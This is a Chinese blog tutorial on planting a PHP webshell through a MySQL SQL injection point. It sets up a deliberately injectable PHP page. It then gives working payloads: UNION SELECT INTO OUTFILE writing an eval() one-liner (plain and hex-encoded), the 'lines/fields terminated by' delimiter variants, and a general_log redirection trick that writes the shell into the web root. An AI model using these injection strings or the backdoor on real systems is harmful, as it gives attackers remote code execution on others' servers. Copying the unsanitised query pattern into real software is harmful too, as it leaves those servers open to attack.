首页 > 数据库 >MySQL注入点写入WebShell的几种方式

MySQL注入点写入WebShell的几种方式

时间:2023-05-22 12:32:22浏览次数:51  
标签:WebShell Webshell log 写入 MySQL 权限 id select


在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

一个MySQL注入点写入Webshell,需要满足哪些条件呢?简单来说,需要了解secure_file_priv是否支持数据导出、还有当前数据库用户权限,当然,root用户数据库的全部权限,但写入Webshell 并不需要一定是root用户。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。


0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

create user 'test'@'localhost' identified by '123456';grant file on *.* to 'test'@'localhost';

2、使用test用户连接数据库。

<?php$con = mysql_connect("localhost","test","123456");mysql_select_db("test", $con);$id = $_REQUEST[ 'id' ];$query  = "SELECT * FROM test.admin WHERE id = $id ";$result = mysql_query($query);......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,unionselect into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP--os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQLlog文件来获取Webshell

具体权限要求:数据库用户需具备SuperFile服务器权限、获取物理路径。

show variables like '%general%';             #查看配置set global general_log = on;                 #开启general log模式set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址select '<?php eval($_GET[g]);?>'             #写入shellset global general_log=off;                  #关闭general log模式

MySQL注入点写入WebShell的几种方式_数据库


标签:WebShell,Webshell,log,写入,MySQL,权限,id,select
From: https://blog.51cto.com/bypass/6323074

相关文章

  • 为什么MySQL单表不能超过2000万行?
    摘要:MySQL一张表最多能存多少数据?本文分享自华为云社区《为什么MySQL单表不能超过2000万行?》,作者:GaussDB数据库。最近看到一篇《我说MySQL每张表最好不要超过2000万数据,面试官让我回去等通知》的文章,非常有趣。文中提到,他朋友在面试的过程中说,自己的工作就是把用户操作信息......
  • 批量执行mysql文件
    mysqldumpMysql数据备份恢复目录mysqldumpMysql数据备份恢复一、需求二、Java实现Mysql备份与恢复pom.xmlmainMysqlBackupsMysqlReductionConfPropresources执行一、需求实现Mysql数据库备份与恢复/***mysqldump命令*备份库*备份所有数据库:mysqldump-h主机IP......
  • 遇到的问题之"数据库编写SQL-》子查询中加入limit报错:This version of MySQL doesn't
    一、问题 >1235-ThisversionofMySQLdoesn'tyetsupport'LIMIT&IN/ALL/ANY/SOMEsubquery'二、原因/解决方案这个错误通常是由于MySQL版本太旧导致的。在旧版本的MySQL中,无法在子查询中使用LIMIT和IN/ALL/ANY/SOME子查询。您需要升级到MySQL的较新版本,以解决......
  • Python直连MySQL数据库
        Python标准数据库接口为PythonDB-API,PythonDB-API为开发人员提供了数据库应用编程接口。Python数据库接口支持非常多的数据库,你可以选择适合你项目的数据库:GadFlymSQLMySQLPostgreSQLMicrosoftSQLServer2000InformixInterbaseOracleSybase你可以访问Pytho......
  • Oracle与DB2、MySQL取前10条记录的对比
    Oralce的示例:1.最佳选择:利用分析函数row_number()over(partitionbycol1orderbycol2)比如想取出100-150条记录,按照tname排序selecttname,tabtypefrom(selecttname,tabtype,row_number()over(orderbytname)rnfromtab)whe......
  • mysql联合索引详解
    所有的MySQL列类型能被索引。在相关的列上的使用索引是改进SELECT操作性能的最好方法。一、前缀索引对于CHAR和VARCHAR列,你可以索引列的前缀。这更快并且比索引整个列需要较少的磁盘空间。在CREATETABLE语句中索引列前缀的语法看起来像这样:KEYindex_name(col_name(length))下面......
  • mysql与lightdb中的insert on duplicate/replace
    最近看pg中insert的实现源码,看到onconflict的excluded优点疑惑,顺带总结下mysql和pg中已存在更新、不存在插入的差异(注:oracle是mergeinto实现)。在mysql中的insertonduplicate和lightdb的onconflict是等价的。逻辑都是基于唯一约束进行已存在则更新,否则插入。insertrecordIF......
  • mysql本人常遇到的错误码及解决办法(27种)
    mysql(本人遇到到错误码及解决办法)1045ER_ACCESS_DENIED_ERROR访问被拒绝数据库服务器/数据库用户名/数据库名/数据库密码错误2020年03月26日再次遇到1045'failedtocreatenewsession'没有空间啦,清理一下空间2020年06月24日1045Accessdeniedforuser'root'@'xxx......
  • MySQL学习基础篇Day6
    5.多表查询我们之前在讲解SQL语句的时候,讲解了DQL语句,也就是数据查询语句,但是之前讲解的查询都是单表查询,而本章节我们要学习的则是多表查询操作,主要从以下几个方面进行讲解。5.1多表关系项目开发中,在进行数据库表结构设计时,会根据业务需求及业务模块之间的关系,分析并设计表......
  • Dockerfile练习二---------------------------构建自己的mysql镜像
    构建自己的mysql镜像 ##NYSQL的shell安装脚本##[root@dockertomcat]#cd~[root@docker~]#mkdirmysql[root@docker~]#cdmysql/[root@dockermysql]#vimrun.sh#!/bin/bashyum-yinstall\ncurses\ncurses-devel\bison\cmake\make\gcc\gcc-c++cd/optcdmysql-5......